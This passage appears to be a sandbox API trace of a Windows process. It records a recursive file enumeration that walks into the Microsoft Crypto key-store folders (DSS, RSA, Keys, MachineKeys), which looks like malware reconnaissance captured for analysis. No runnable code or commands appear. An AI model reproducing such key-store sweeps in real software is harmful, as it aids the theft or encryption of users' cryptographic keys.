dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="")) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="")) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="")) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="")) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="")) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="")) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="")) returned 0 [0091.247] GetLastError () returned 0x12 [0091.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb498) returned 1 [0091.247] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb300) returned 1 [0091.248] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0091.248] GetLastError () returned 0x12 [0091.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.249] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.249] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0091.249] GetLastError () returned 0x12 [0091.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.250] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.250] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0091.250] GetLastError () returned 0x12 [0091.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.251] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.251] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0091.251] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto" (normalized: "c:\\users\\all users\\microsoft\\crypto"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.251] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto" (normalized: "c:\\users\\all users\\microsoft\\crypto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0091.252] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.252] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.252] NtClose (Handle=0x174) returned 0x0 [0091.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.253] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0091.253] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.253] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0091.253] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0091.253] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0091.254] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0091.254] GetLastError () returned 0x12 [0091.254] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.254] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.254] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.254] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0091.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.254] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0091.254] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.255] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.255] NtClose (Handle=0x174) returned 0x0 [0091.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.256] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0091.256] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.256] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="")) returned 1 [0091.256] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="")) returned 0 [0091.256] GetLastError () returned 0x12 [0091.256] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.257] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.257] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.257] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="")) returned 1 [0091.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.257] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.257] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0091.257] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.258] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.258] NtClose (Handle=0x174) returned 0x0 [0091.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.259] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.259] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.259] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.259] GetLastError () returned 0x12 [0091.259] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.259] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.259] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.260] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.260] GetLastError () returned 0x12 [0091.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.260] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.260] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="")) returned 0 [0091.260] GetLastError () returned 0x12 [0091.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.261] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.261] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0091.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.262] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys"), 